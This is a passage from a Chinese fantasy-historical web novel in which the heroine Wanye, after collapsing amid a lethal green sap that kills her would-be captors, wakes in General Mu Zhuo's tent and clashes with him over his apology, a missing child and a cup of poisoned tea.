但敌人越来越多,她的体力也在逐渐耗尽,每一次攻击都变得愈发吃力。
渐渐地,她的意识开始模糊,眼前的世界仿佛被一层厚厚的迷雾笼罩,只能看见一个白色光点的缝隙。
她不知道阿已那个孩子能不能顺利跑出去……
终于,眼前的景象彻底变成了一片消失的白光,随后便是无尽的黑暗。
她的身体缓缓倒下,陷入了昏迷……
“老大,把这个人带回去肯定能得到不少达官贵人的赏识!”几个满脸横肉的家伙,活像从油锅里捞出来的,浑身散发着令人作呕的油腻气息。
他们搓着满是污垢的手,步步紧逼,眼里闪烁着贪婪的幽光。
仿佛已经看到了达官贵人赏赐的金银财宝,迫不及待地想把地上晕倒的宛楪扛走邀功请赏。
可当他们真要伸手去抓宛楪时,才发现事情远没有想象中简单。
宛楪静静地躺在地上,一动不动,宛如一尊被遗弃的雕塑。然而,她的周身却缠满了杂乱无章的树皮,
那些树皮宛如一条条粗壮的蟒蛇,正吐着信子,紧紧地贴在她的身体上,蜿蜒交错,好似在守护着自己的领地。
浓绿色的枝叶从树皮的缝隙中顽强地钻了出来,毫无顾忌地肆意蔓延,
将她的衣服遮得密不透风,还散发着一股刺鼻的草木腥味,那味道仿佛是从腐朽的森林深处传来,让人忍不住皱眉。
更让人头皮发麻的是,她身上布满了脏污黏腻的液体,正顺着衣角、发丝缓缓往下滴,
落在干燥的土地上,瞬间洇出一滩滩深色的水渍,好似恶魔留下的印记。
这些液体来源不明,看着就让人胃里一阵翻涌,似乎还隐藏着某种致命的危险气息,
让那些人刚伸出的手,僵在了半空,怎么也不敢再往前触碰分毫。
那些人伸手触碰的瞬间,就被那诡异的汁水灼伤了,瞬间蔓延大部分的红色斑点,并以肉眼可见的速度爬上手臂,啃食着他们的血管和肉丝中的纤维。
似乎是蛇进食一样,卷死在食用,不过这次变成了卷死手臂里面的排除血液的空隙。
之后像是长出针一样刺着每处相接的地方,最后收紧变成干瘪的失去养分的怪物养料。
那些人受不得这样的痛,几乎瞬间扭曲了表情,倒在混着沙石的泥地,也有的人倒在远处被阳光照过的干裂的土地。
每个人剧烈嚎叫着恨不得现在杀了他们自己,肌肉不断的挛缩,最后变成黑色干裂的条状,从里面开泪成痕,血液像是膨胀的装在不能容纳的容器一下子炸开。
地面上,浓稠的绿色与刺目的红色相互交织,形成一片片诡异的液泊。
那液体散发着一股浓郁得近乎刺鼻的甜香,丝丝缕缕,如无形的触手,肆意在空气中蔓延。
仅仅是轻轻一嗅,这股味道就好似拥有了生命,化作无数微小的分子,迫不及待地钻进鼻腔。
顺着神经直把将人的脑子搅得粉碎。
但凡被这股气息缠上,仿佛灵魂都要被它拽入无尽的深渊,只消片刻,生机极速消逝。
那些站在一旁,尚未接触到这诡异场景的人,被眼前一幕惊得呆若木鸡。
眼睛瞪得滚圆,脸上写满了恐惧。仅仅一瞬,他们便像惊弓之鸟,连滚带爬地拼命往回逃窜。
鼻涕和眼泪不受控制地一起涌出,顺着脸颊肆意流淌。
他们满心恐惧,生怕下一秒,那不知究竟为何物的怪物就会缠上自己的血液,将自己也化为一滩诡异的液体。
在远处,一个身着黑色夜行衣的身影隐匿在黑暗之中。
一双深邃的眼睛静静地凝视着那泊血绿色的液体。
连绵的群山在这寂静的夜色里被黑暗彻底淹没,朦胧难辨。
风中的树枝在重压下不堪负荷,发出“吱呀吱呀”的声响,似在呜咽,又似在哀号。
日光渐渐消失殆尽,黑暗愈发深沉,树木摇摇晃晃,似乎也染上了这黑色的纱。
它们的轮廓逐渐模糊,只剩影影绰绰在风中微抖。
15. 对不起。
暮色沉沉,星光似破碎的琉璃散落一地,为地面染上一层朦胧的微光。
一双黑色靴子踏入这片寂静,脚下落叶发出清脆的“咔嚓”声,靴印在落叶间若隐若现。
衣角扫过,擦去叶片上的水珠,那水珠顺势滑落,向着散发着诡异气息的地方蔓延。
一滩绿色的液体在地面缓缓蠕动,像是有生命一般,贪婪地觊觎着周围一切生灵的生机。
在这片由液体汇聚而成的诡异“湖泊”中央,倒着一个浑身缠满树皮的人形物体,仿佛与大地融为一体。
斑驳的树影摇曳,隐隐映出一张漂亮却满是泥泞的脸。
皮肤白得如同高悬夜空、遥不可及的冷月,没有一丝血色,散发着令人胆寒的静谧。
来者小心翼翼地避开那些散发着诡异气息的绿色液体,步伐谨慎,最终停在了这片区域的中间。
随着距离的拉近,地上之人的面容愈发清晰。
那原本漂亮的脸庞像是出现了裂纹,干裂的树皮上不再有多少汁液,
仿佛下一秒就会“砰”地炸开,化作无数碎块,掉落在地。
他身上那件士兵的衣服早已破碎不堪,黑得仿佛要与身下的大地融为一体。
在这漆黑一片的环境中,周围又是诡异的绿色液泊,
就像陷入了一座沉睡的、荒凉且危险的坟墓。
死寂又惊悚,让人脊背发凉。
来者俯下身,双臂穿过地上人的腋下,稳稳将其抱起。
身上的黑色夜行衣轻轻拂过地面的草叶,在草丛间留下一道若有若无的痕迹,随后缓缓离去。
来时携带的黑色披风,此刻温柔地盖在怀中之人身上,为其抵御未知的寒意。
夜色愈发深沉,星光悄然破碎,仿佛被黑暗吞噬。
一轮明月高悬夜空,洒下清冷而耀眼的光辉,亮得让人几乎睁不开眼。
一位熟睡的士兵从梦中惊醒,朦胧间,只看到一个看不清容貌的人,正抱着另一个人,在月色下缓缓前行。
不知是秋风太过萧瑟,还是晚风透着彻骨的寒凉,
刚醒来的士兵忍不住打了个寒战,下意识抱紧自己,鼻子轻轻耸动。
他望着那神秘的人影,满心疑惑,可困意如潮水般涌来,很快便将他淹没,没一会儿,他又沉沉睡去。
慕酌脚步看似沉稳,每一步都踏得坚实有力,可内心却如翻江倒海一般,情绪汹涌,
连自己究竟是如何回到此处的都浑然不知。
他轻轻将怀中的人安置妥当,动作轻柔得生怕惊扰到对方。随后,他缓缓走到桌旁坐下,目光下意识地望向远处的月亮。
今夜的月亮格外明亮,月光毫无保留地倾洒而下,竟有些刺眼。
慕酌伸手端起桌上的茶盏,温热的触感从指尖传来,可他却只是怔怔地盯着那升腾而起的袅袅热气,迟迟未将茶送入口中。
良久,他又轻轻放下茶盏,发出一声若有若无的叹息,思绪似乎沉浸在最近发生的一切,久久没有回神。
夜半三更,万籁俱寂,唯有营帐里的灯火闪烁摇曳,映照出一片昏黄。
宛楪猛地从噩梦中惊醒,冷汗瞬间浸湿了她的衣衫,细密的汗珠顺着额头不断滚落。
她大口大口喘着粗气,呼吸急促且紊乱,胸膛剧烈起伏,仿佛仍未从那可怕的梦境中挣脱出来。
这是她有生以来第一次做如此恐怖的噩梦,梦里刀光剑影闪烁,鬼魅如影随形,
无论她如何拼命奔逃、挣扎,都始终无法摆脱那如影随形的死亡威胁。
等她终于缓过神,意识到自己身处何处时,一阵剧痛猛地从脑袋袭来,像是有无数根钢针在肆意穿刺。
与此同时,身体也传来强烈的虚弱感,每一寸肌肉、每一根骨头都仿佛在叫嚣着疲惫。
“咳,咳……”
宛楪抑制不住地咳嗽起来,殷红的鲜血从她嘴角溢出,在惨白的面容上显得格外触目惊心。
她的眼睛愈发沉重,眼皮好似灌了铅般,每一次开合都无比艰难。
然而,当她瞥见旁边正悠然喝茶的人时,所有的不适瞬间被抛诸脑后,她强撑着一口气。
声音嘶哑得几乎听不出人声,急切问道:“阿已呢,你把他带回来了吗?”
营帐中,气氛压抑而紧张。
喝茶的人听到宛楪的话,端着茶杯的手猛地一滞,随后“砰”的一声,将茶杯重重放在桌上。
营帐内昏暗如墨,唯一的烛火在冷风中瑟缩着,不安地跃动。
明暗交错间,将他脸上复杂难辨的神情勾勒得更加深邃。
“你很在意一个小孩子的死活吗?”他开口,声音低沉沙哑,裹挟着几分不可捉摸的意味。
在这静谧的深夜里缓缓散开,无端为周遭添了几分沉重的压迫感。
宛楪秀眉紧蹙,干裂的唇瓣因过度用力而微微渗出血丝,每说一个字都伴随着一阵刺痛。
原本就苍白的脸颊因为情绪的激动而泛起一丝不正常的红晕,额头上细密的汗珠不断渗出,她连擦拭的心思都没有。
“不是,你这话是什么意思?”
她声音颤抖,带着难以抑制的急切,“你带他回来了吗?或者你看没看到他回来?”
说到这里,她胸脯剧烈地起伏着,努力平复着呼吸,可愤怒的情绪还是如决堤的洪水般倾泻而出。
“还有,什么叫在意一个小孩子的死活?你这个人,还真是……”
“恶心!”
最后这两个字像是从牙缝中挤出来的,满含着鄙夷和愤怒。
“砰!”慕酌猛地将茶杯磕在桌上,刺耳的声响划破寂静,
刺耳的声响瞬间划破营帐内的死寂,好似一道惊雷在耳边炸响。
刹那间,空气仿佛被一双无形的大手紧紧攥住,彻底凝固。
他的嘴唇不受控制地微微蠕动,本能地想要开口反驳,
可当他的目光撞上宛楪那冰冷如霜的眼神,所有的话语都被冻结在喉咙里,一个字也吐不出来。
看着宛楪毫不犹豫地起身,抬脚就要往外走,他急忙一个箭步冲上前,伸出手臂。
像一堵墙般横在宛楪身前,阻拦住她的去路。
他的胸膛剧烈起伏,声音里交织着急切和些许怒火,“你在发热,身体撑不住,如果再出去,你会死的!”
宛楪闻言,动作一顿,缓缓抬起眼眸,目光如刀,冷冷地直视着慕酌的眼睛,
那眼神中满是毫不掩饰的探究与深深的鄙夷,一字一顿地说道:
“不然,像慕将军一样,这么冷血,这么恶心?”
那目光如同一把利刃,每一个字都裹挟着刺骨的寒意。
慕酌像是被这话直直刺中,脸上瞬间涌起一抹愠色,周身气压陡然降低。可即便如此,他伸在宛楪面前的手却没有丝毫动摇,如同一根坚韧的石柱,稳稳地拦着她的去路。
他深吸一口气,语气中带着几分不容置疑的恳切,
“我帮你找,我让那些人都去找,你休息一下吧,再这么下去,你撑不住的!”
宛楪愣了一瞬,脑海中迅速闪过之前被他严刑拷打的画面。
她怎么也想不明白,眼前这个信誓旦旦要帮忙的人,怎么会突然态度转变。
短暂的沉默后,宛楪缓缓抬起头,眼中写满怀疑与讽刺,嗤笑一声:“你这个人可真是有意思。”
她不再向前,静静地站在原地,周身散发着一种让人难以靠近的气场。
她看着慕酌的眼睛,剑拔弩张的氛围中,她突然开口:
“慕酌,我们以前见过吗?”
声音不大,却在这静谧的营帐内格外清晰。
慕酌听到这话,身体像是被电流击中一般,猛地一僵。
这是她第一次叫自己的名字,这个名字从她口中说出,竟让他莫名慌乱。
他下意识地咬了咬下唇,眼神开始闪躲,不敢与宛楪对视,双手不自觉地在身侧微微攥紧,似是在极力掩饰内心的不安。
短暂的沉默后,慕酌回视着宛楪,那眼神锐利如鹰,仿佛要将她看穿,反问道:“你觉得呢?”
慕酌的声音低沉浑厚,裹挟着几分不容置疑的压迫感,仿佛在这狭小的营帐内形成了一道无形的气场,压得人有些喘不过气。
宛楪毫不畏惧地迎着他锐利如鹰隼般的目光,大脑飞速运转,走马灯似的在脑海中回忆过去的一切,试图从记忆里找到慕酌的样
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子。
一番思索后,她语气坚定,没有丝毫犹豫地回答:“没有。”
仅仅两个字,却掷地有声,打破了营帐内短暂的平静。
紧接着,她去神色平静,想是朋友之间的随口问候,“所以你针对我做什么?”
慕酌似乎完全没料到她会如此干脆利落地否认,神情瞬间变得复杂难辨,像是被一层迷雾笼罩。
那一瞬间,他的眼底似乎闪过一丝失落,可很快又被他藏了起来。
嘴角扯出一抹牵强的笑,那笑容里带着几分苦涩,又有几分无奈。
宛楪见他这副模样,眉头皱得更紧,满心都是不耐烦,只想赶紧摆脱这场莫名其妙的对话。
这家伙到底在搞什么鬼,真不想再和他说这些没用的。
然而,就在她准备开口让慕酌让开时,慕酌接下来的话却如同一颗重磅炸弹,瞬间让她整个人都愣在了原地,带着不可置信的震惊,
“对不起。”
这句话就像是石子投入水中,惊起一乍的水花,五雷炸响,轰然落定。
这三个字在宛楪的耳畔轰然炸响,她大脑瞬间空白,还未从这简短却极具冲击力的道歉中缓过神,慕酌便又继续说道,
“你发热是因为我,我把你放进地牢严刑拷打,后来战争频繁,你才这么疲惫。”
慕酌直直地看向宛楪的眼睛,语调平淡,听不出什么情绪起伏,仿佛只是在陈述一件稀松平常的事。
可这话落在宛楪耳中,却让她心中五味杂陈。
紧接着,慕酌顿了顿,神色变得认真起来:“那个孩子我帮你找,我一定帮你找回来,带过来。”
宛楪张了张嘴,原本那句“我和你确实有合作关系,所以只有合作到利益你才会高看我一眼”已经到了嘴边。
不知为何,在看到慕酌这副模样后,宛楪心里复杂混乱,理不清思绪,被她生生咽了回去。
她诧异地看着慕酌,眼中的惊讶如决堤的洪水,根本来不及掩饰。
捉摸不透。
她看着慕酌迅速找来副将,详细吩咐他去寻找那个孩子,询问了孩子的样貌后,便带着一行人举着火把匆匆离去。
浩浩荡荡的队伍很快消失在夜色之中。
夜风轻轻拂过宛楪的发丝,带着营帐内的烛火,摇曳生姿。
昏黄的光晕明灭不定,为四周平添了几分诡谲的氛围。
即将离去的护卫回头望向宛楪,那目光中满是嫌恶与忌惮,仿佛在凝视一个能带来灭顶之灾的祸害。
宛楪被这目光看得一怔,满心的震惊让她一时失语。
心中所想乱晃着,她实在是不想去思考这些问题。
这段时间与慕酌的种种交锋,让她愈发摸不透这个人。
他时而冷酷狠辣,将自己丢进地牢严刑拷打。时而又像是突然转了性子,主动帮忙寻找阿已,态度的转变毫无征兆。
这个人到底怎么回事?
宛楪轻轻皱起眉头,他到底想干什么?行事这般反复无常。
慕酌缓缓转身,目光深邃而复杂。
他微微停顿,似乎在斟酌着什么,良久才开口:“你现在是校尉了。因为你在战场上的表现过人,那些文官老东西没给你的,我还给你了……”
声音低沉,话语中带着几分不易察觉的沉重。
说到一半,他却突然顿住了,仿佛有些话哽在喉头,难以吐露。最终,他只是低着头,
沉默片刻,便转身离去,背影在昏暗的光线中显得有些孤寂。
宛楪深吸一口气,试图平复内心翻涌的复杂思绪,拖着沉重的步子回到床边缓缓坐下。
昏暗的营帐内,烛火将她的影子拉得忽长忽短。
她眉头紧锁,脑海里不断浮现出慕酌的面容。
她猜不透他到底要干什么。
还有阿已,那个乖巧懂事的孩子,此刻也不知身在何处。
一想到这儿,宛楪的心揪了起来,忧虑着脑袋中纷飞复杂,乱七八糟。
除此之外,宛楪的脑海中还萦绕着无数谜团:
自己昏迷之后究竟是怎么回到这里的?
那些散发着诡异气息、与寻常认知大相径庭的绿色液体……
16. 水里有毒
还有为什么她又跑到慕酌这家伙的营帐?
夜色渐深,繁星不再独自散发着夺目光芒。
天边泛起了一丝朦胧的鱼肚白,晨曦若隐若现,即将破晓。
营帐内烛火摇曳,慕酌归来走向茶桌,伸手随意地拎起茶壶,给自己斟了一杯茶。
他眉头微展,神色间带着几分疲累,抬手将茶杯稳稳地挪到嘴边,正要仰头一饮而尽。
就在这时,宛楪不知从何处快步走来,手臂一伸,手掌直直地挡在慕酌身前,急切地拦住了他的动作。
她的胸脯微微起伏,双眼紧紧盯着慕酌,像是下了很大决心一般,冷不丁地问道:“你喜欢男人?”
这话瞬间在安静的营帐内炸开。
慕酌的动作猛地一滞,握着茶杯的手微微颤抖,原本正要咽下的茶水猛地卡在喉咙里,惊得他差点把口水呛出来。
他的眼睛瞬间瞪大,像是听到了什么不可思议的事情,手中的茶杯也险些滑落。
他下意识地向后退了半步,目光直直地回望着宛楪,脸上满是惊恐与不可置信,嘴巴微张。
好半天才提高声音问道:“你说什么?”
宛楪双唇轻抿,原本条理清晰的思路被慕酌这强烈的反应瞬间搅乱,一时间竟不知从何说起。
她的目光游移不定,局促不安地在原地挪动了一下脚步,踟蹰了好一会儿,才硬着头皮说,
“呃……你别误会,我就是最近发现那些士兵的眼神有些奇怪,总是交头接耳、窃窃私语的。”宛楪把头微微低下,实在是不知道怎么接着说下去。
“还……还有上次咱们和北国的人交锋,他们言语之间好像也透着点什么,我这……”
宛楪头更低了,咽了一口水,继续说道。
“所以……就是单纯问问,没别的意思。”
宛楪的声音越来越小,目光落在自己的脚尖上,仿佛地上有什么能让她逃避这尴尬场景的东西。
到最后,那些没说完的话就像被她生生咽了回去,实在不知道该如何继续这个话题。
慕酌闻言,先是微微一怔,那双深邃有神的眼眸中闪过一丝诧异。
须臾,他高挺的鼻梁下,薄唇轻抿,脸上露出一抹不自在的神情,俊朗的面容微微泛红,连耳尖都透着几分尴尬。
他下意识地抬手,轻轻整了整领口,像是想借此掩饰内心的局促。
片刻后,他抬起头,目光坦然地看向宛楪,认真说道:“北国风气确实不佳,那些流言蜚语听听也就罢了,我……绝无那般癖好。”
他轻咳了一下,
“我帮你,是因为你自身足够出色。战场上,你奋勇杀敌,身姿矫健,眼神中透着无畏的坚毅,立下的赫赫战功,都是你应得的,与……其他无关。”
宛楪抬眼望向慕酌,他此刻神色冷淡,周身散发着拒人于千里之外的气场。
可宛楪看着这样的他,心里却莫名松了口气。
回想起在北国敌营的经历,至今仍心有余悸,风声呼啸,敌营中火把明灭,她被围在其中,孤立无援。
慕酌初见她,眼神里满是狠厉,下一秒就要置她于死地。谁能想到,如今他竟会关心起自己的身体状况。
这前后的巨大反差,怎么可能不让让宛楪疑惑。
他到底在想什么?
这般反复无常,实在是太奇怪了,怪得宛楪绞尽脑汁也想不出个所以然来。
宛楪想到这里,胸脯微微起伏,重重地叹了口气,胸口的郁闷似乎也随着这声叹息消散些许。
她抬起头,目光坦然地看向慕酌,语气坚定:“行,等我拿到花瓣就给你,我肯定信守承诺。多谢你帮我找阿已,我现在得出去找找了。”
说着,她便转身准备离开,脚步匆匆,透着几分急切。
慕酌见状,毫不犹豫地伸出手臂,跨到她面前,动作干脆利落地拦住了她的去路。
他微微低下头,目光紧紧锁住宛楪,神色凝重,声音低沉却有力:“你发着高烧,烧得很严重。要不是我把你带回来,你恐怕就曝尸荒野了。”
说话间,他的眼神里满是担忧与关切,全然没了平日里的清冷。
听到慕酌的话,宛楪心底不禁泛起一丝嗤笑,我哪是这么容易被死神收走性命的。
这念头刚闪过,她的神色骤变,原本平静的眼眸瞬间被警惕填满。
双眼眯起,像一只蓄势待发的猎豹,不放过慕酌脸上任何细微表情。
她紧盯着慕酌,嘴唇轻启,声音里带着一丝不易察觉的试探:“那你当时都看到什么了?又是怎么把我带回来的?”
慕酌神色平静,面容如往常一般冷峻,双眸波澜不惊,缓缓说道:“我出去找你,发现你倒在一处离营地很远的树林。”
他微微顿了顿,似在回忆当时场景。
接着道,“周围弥漫着奇怪的绿色毒液,气味刺鼻,不过你身上全是土和干的树枝,像是在地上挣扎翻滚过。我避开那些毒液,费了好大劲才把你带回来。”
宛楪听着,神色依旧紧绷,双手不自觉地攥紧衣角,指甲微微泛白,未从惊险中缓过神来。
这时,又听见慕酌发问:“那些液体是怎么回事,就为了取你的命,用这样的杀伤力武器吗?”
宛楪闻言,舌尖下意识顶上颚,轻轻顶了顶腮,眼中闪过一丝不易察觉的庆幸。
暗自想着:还好,他没怀疑……
紧接着,她嘴角扯出一抹看似轻松的笑,脸上的肌肉却稍显僵硬。
解释道:“没什么,北国人太凶悍,对我穷追不舍。那是我朋友送我的毒液,要不然我哪能安然无恙?”
话题截止到这里,她没有顺着慕酌的问题继续说。
这位朋友究竟是谁,也没解释自己参军为何还随身带着毒液。
毒液,这名字起得挺好。
宛楪抬眸望向慕酌,四目相对,她暗自松了口气,还好慕酌没有追问下去。
只见慕酌眼神复杂,其中有探究,有疑惑,还夹杂着几分关切,就这么静静地回望着她。
时间悄然流逝,没多会儿,宛楪只觉眼前光影扭曲,片片黑暗如潮水般涌来,
这是晕厥的前兆。
她牙关紧咬,腮帮子因为用力而微微鼓起,额头上也渗出细密的汗珠。她颤抖着伸出手,死死地扶住旁边的桌子,
指关节因为用力而泛白。
呼吸愈发急促,胸膛剧烈地起伏,每一次吸气都像是在艰难地从空气中抢夺那微薄的氧气。
慕酌伸出手,想要扶住宛楪。
可宛楪猛地抬手,手掌在空中划出一道弧线,将慕酌伸来的手拦开。
宛楪的视线像是被蒙上了一层厚重的雾,眼前的画面愈发模糊不清。
她的意识逐渐混沌,只剩下对水的强烈渴望。
她艰难地抬起手臂,手指伸向茶壶,每一个动作都显得迟缓而沉重,
好不容易触碰到茶壶,顺着找到茶杯,想要缓解干渴,
可手臂却在半空中被一股力量猛地截住。
她的眉头紧紧皱在一起,脸上露出愤怒与不解的神情,
双眼努力聚焦,望向眼前影影绰绰的人和那摇曳不定的烛火,
嘴唇微张,声音因为虚弱而带着几分沙哑,生气地质问:“不过是喝口水,至于吗?”
“水里有毒。”
一道模糊不清的声音,从混沌的意识中传进宛楪耳中。
她的脑袋不受控制地左右摇晃,眼前的景象天旋地转,仿佛整个世界都在颠倒。
她的思维也陷入混乱,“为了杀我,居然连水里都下毒……”
一边说着,她一边脱力地挣扎着,试图挣脱那只拦住她的手。
强烈的晕厥感如汹涌潮水,将宛楪彻底淹没,疲惫也如影随形,
仿佛有一双无形的大手,死死地控制着她的身体和意识。
她的双眼无法聚焦,周围的一切都变得影影绰绰,那人的身影在她眼前模糊不清,只能看到嘴唇不停地开合。
她眉头拧成一个死结,脸上写满了烦躁与不耐,呼吸急促而沉重,
每一次喘气都像是在艰难地挣扎。
她下意识地抬起手,手臂软绵绵地在空中胡乱挥舞,想要驱散眼前这让她无比厌烦的模糊场景,
嘴里含糊不清地呢喃着:“水……我要水……”
可回应她的只有逐渐模糊的意识,和越来越深的黑暗。
宛楪陷入梦境,起初,眼前是如梦幻般美好的景象。五彩的光影交织,轻柔的花瓣纷纷扬扬飘落,仿若置身仙境。
然而,美好的事物总是转瞬即逝,刹那间,一切像泡沫般破碎。
水光粼粼的湖面毫无征兆地剧烈抖动起来,一道道波纹错乱地交织,好似整个世界都在这震动中扭曲变形。
紧接着,眼前的景象如被一双无形的大手生生撕开,露出一片荒芜恐怖之地。
黑色的荆棘肆意生长,遍地都是尖锐的棘刺,上面还挂着干涸的血迹。
丛生的草叶顺着小路疯狂蔓延,尖锐的尖刺直指向天空,将本就狭窄的小路空间挤压得愈发逼仄。
光线似乎也畏惧这阴森的场景,刚探进来便迅速退缩,思考忧虑,根本不敢穿行。
宛楪猛地从梦里惊醒,双眼瞬间睁开,目光直直地望向熟悉的营帐顶。
细密的汗珠布满她的额头,顺着鬓角
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滑落,打湿了耳畔的发丝。她的胸腔剧烈起伏,大口大口地喘着粗气,
像是刚刚经历了一场生死追逐,正拼命地交换着氧气。
这个梦实在是太过怪异,各种荒诞的场景搅成一团,混乱得让她大脑一片空白,
根本不想去细究其中的含义。
就在这时,一阵细微的喝水声从营帐一旁传来,那声音像是有魔力一般,瞬间吸引了宛楪的全部注意力。
她下意识地舔了舔干裂起皮的嘴唇,喉咙里干渴得仿佛要冒烟,心里只剩下一个念头:
渴,好想能喝上一口水。
宛楪从床上撑起身子,眼神紧紧锁住坐在桌前的慕酌。
只见慕酌的模样极为豪爽,像饮酒一般大口大口吞咽着水,喉结上下滚动,
似乎每一口都喝得酣畅淋漓。
这场景落在宛楪眼里,却让她愈发干渴难耐,喉咙里仿佛有团火在烧。
突然,“水里有毒”这句话在宛楪的脑海中炸开,再看慕酌吞咽茶水的样子,心中的怒火“噌”地一下冒了起来。
“慕将军还真是狠,”
宛楪咬着牙,一字一顿地说道,声音里满是愤怒与不甘,
“就为了杀我,不惜在水里下毒。为了让我喝下去,连自己都可以这样霍霍,你可真够煞费苦心的!”
说话间,她的胸脯剧烈起伏,带着几分虚弱的咳血声,
但眼中燃烧熊熊怒火,死死地盯着慕酌,仿佛要将他灼烧。
慕酌正端着茶杯,听到宛楪的质问,动作猛地一滞,原本平静的脸上闪过一丝慌乱。
他轻咳一声,试图掩饰自己的不自在,缓缓开口:“我没打算让你喝这个水的。”
声音尽量保持平稳,却还是带着一丝不易察觉的颤抖。
“那你自己喝岂不是更有病,明知道有毒,还要喝,是有什么自虐倾向吗?”
宛楪柳眉倒竖,眼睛圆睁,没好气地呛了回去,语气里满是嘲讽与愤怒。
此刻的她,全然不顾自己虚弱的身体,每说一个字,胸腔都剧烈起伏,像是要把所有的委屈和怒火都宣泄出来。
这话让慕酌身形一顿,拿着茶杯的手僵在半空,修长的手指不断地摩挲着茶杯口,眼神游移不定,似乎在思考该如何解释。“我……”
刚吐出一个字,就被宛楪打断。
“慕酌,我不知道你怎么想的,但是我们有合作关系,你不至于让我死在这里吧。”
她全然不顾自己虚弱的身体,胸腔剧烈起伏,每一次呼吸都伴随着沉重的喘息声,猛地从床上坐起,气势汹汹地就要冲向慕酌。
这突然的动作让她眼前一黑,脑袋一阵眩晕,
“茶水有毒,你自己在这里喝得挺开心啊,我请问呢,你是为了锻炼自己抗毒能力吗!”
宛楪身体不受控制地晃了晃,喉咙间涌起一股腥甜,似乎已经尝到了喉间的腥血。
可她根本顾不上这些,强撑着身体,用尽全力提高音量,怒声吼着。
她的声音因为愤怒而颤抖,在营帐内回荡,打破了原本的寂静,让空气中弥漫着浓烈的火药味。
宛楪心里越想越气,她脑海中闪过一个荒唐的念头:
别告诉我他是因为不想让我喝有毒的,所以那次才想把水倒在我头上。
这个想法一冒出来,怒火瞬间将她理智吞噬。
晚风悠悠地在营帐外兜了一圈,裹挟着天边即将破晓的微光。
原本跳跃的烛火在这渐明的天色里,光芒渐渐黯淡,摇曳不定,仿佛随时都会熄灭。
营帐内,气氛凝重得如同暴风雨来临前的死寂。
宛楪和慕酌两人面对面站着,形成了鲜明的对峙之势。
宛楪一只手紧紧捂着脑袋,指节因为用力而泛白,眉头痛苦地拧成一团。
豆大的汗珠从额头滚落,她强忍着疼痛,双眼却死死地盯着慕酌,眼神中满是愤怒与不甘。
而慕酌那边,手死死地攥紧着茶杯,手臂因为用力而剧烈地抖动着。
杯里早已没了水,可他的手指却越收越紧,指关节因为过度用力而泛青。
两人之间剑拔弩张,空气中弥漫着令人窒息的紧张感,谁也不肯先打破这僵局。
慕酌的手在发抖,脸上带着宛楪看不清的愤怒。
她的胸腔几乎要蹦出来,却没有人打破这份诡异的沉静。
突然,一声“咔嚓”声格外突兀。
茶杯碎了。
声音清脆的,响彻营帐。
只见茶杯在慕酌掌心崩裂,尖锐的碎片划破皮肤,殷红的血珠顺着他的指尖缓缓滑落,滴在地上。
洇出一片触目惊心的红。
17. 我帮你
宛楪冷冷地瞥向慕酌,他的手心鲜血潺潺。
那殷红的液体沿着指尖滑落,在地面晕染出一片刺目的鲜红。
仿佛一朵盛开在黑暗中的血色花朵。
她嘴角微微上扬,勾勒出一抹嘲讽的弧度。
那笑容里没有一丝温度,冷冷地开口:
“慕将军这是唱的哪一出?血都流成这样了,也不赶紧给自己处理处理,莫不是还打算接着用你那药粉?”
这尖锐的话语,如同一把利刃,直直刺向慕酌。
四周弥漫着剑拔弩张的气息,慕酌的身形微微一僵,原本还镇定自若的脸上,瞬间阴云密布,仿佛暴风雨即将来临。
他缓缓抬起头,目光如刀,冷冷地盯着宛楪,眼神中透着几分寒意,像是蛰伏的猛兽锁定了猎物,让人不寒而栗。
然而,就在下一秒,他猛地仰起头,嘴角勉强扯出一抹弧度,
露出一个笑容。
那笑容看起来很灿烂,却透着几分刻意。
像阳光下被强行撕开的裂缝,勉强掩饰着内心的阴霾。
营帐里烛火摇曳,光影在墙壁上肆意晃动,营造出一种诡谲的氛围。
就在这略显压抑的环境中,慕酌脸上毫无征兆地绽出那抹笑容。
那笑容一出现,宛楪只觉得心里直发毛,浑身不自在,仿佛有无数只蚂蚁在皮肤上爬动。
她下意识地缩回了目光,心中暗自腹诽。
这家伙,莫不是脑子有问题?
怎么突然笑得这么诡异。
怀着满心的疑惑与警惕,宛楪再次将目光投向慕酌。
慕酌就站在这明暗之间,高挺的鼻梁下,薄唇微微上扬,噙着一抹意味不明的笑意。
那笑容轻飘飘地浮在脸上,却丝毫未抵达眼底,反而在幽微的光线里,衬得他整个人愈发透着股捉摸不透的怪异。
他那双狭长的狐狸眼微微眯起,幽黑的眼眸仿若藏着一汪深不见底的潭水。
其间细碎的光闪烁跳跃,似是狡黠的算计,又似是隐匿的嘲讽,让人不敢轻易探究。
高束的墨发下,剑眉斜飞入鬓,恰似划破夜空的凌厉流星,为他的面容添了几分英气。
轮廓分明的脸庞,线条刚硬有力,却又在眉眼的流转间,透着一丝柔和的韵致。
硬朗与柔和两种截然不同的气质,在他身上奇妙地融合,更添几分神秘与危险的气息,让人忍不住想要靠近,却又在靠近的瞬间,被那股无形的压迫感逼退。
这副堪称完美的面容,若是笑起来真诚些,大概能让无数人为之倾倒。
可此刻,这笑容却无端让人脊背发凉。
好似春日暖阳,表面上暖意融融,背后却藏着能将人冻彻骨髓的森冷寒意。
慕酌垂眸,看着鲜血顺着指尖不断滑落,浓稠的血滴砸在地面,溅起细碎的血花。
他却仿若未觉,缓缓抬眼,目光直直地落在宛楪身上,一瞬不瞬,那眼神犹如黑暗中潜伏的饿狼,幽深沉静。
透着一股极致的危险气息,让人不寒而栗。
“你怎么知道我在用什么药?”
他薄唇轻启,声音低沉,尾音微微上扬,带着几分漫不经心的意味,
“怎么,你很在乎我的死活吗?”
那语调看似随意,可话语里却藏着一丝不易察觉的探究,像是在等待着宛楪的回应,又像是在刻意试探。
宛楪闻言,身形微微一顿,随即眉头轻皱,满脸不耐烦地回道:
“多亏那些来杀你的人。他们带来的东西,看他们急得那副样子……”
宛楪笑笑,没什么波动,“我便直接给你喂进去了。”
说话间,她嘴角微微上扬,挑起一边的眉,眼中带着些许戏谑,
“慕小将军,你这人,还有你身边那些人,可都太奇怪了。”
说到这儿,宛楪顿住,像是陷入了思索,
片刻后,脸上突然绽开一个灿烂的笑容,那笑容看上去温暖又开朗,可眼中却没有笑意。
她歪着头,目光直直地盯着慕酌,一字一顿,语气轻慢却又充满嘲讽:“想杀你的人,竟也想救你,你还真是……可怜。”
说完,她仰起头,下巴微微抬起,眼神里满是不屑,那副模样,仿佛在看一个无比可笑的笑话。
破晓时分,晨曦如纱,穿过雕花窗棂,轻柔地洒落在屋内。
宛楪双腿一软,顺着椅子缓缓滑落,后背无力地靠在椅背上,每一寸肌肉都仿佛被抽去了力量。
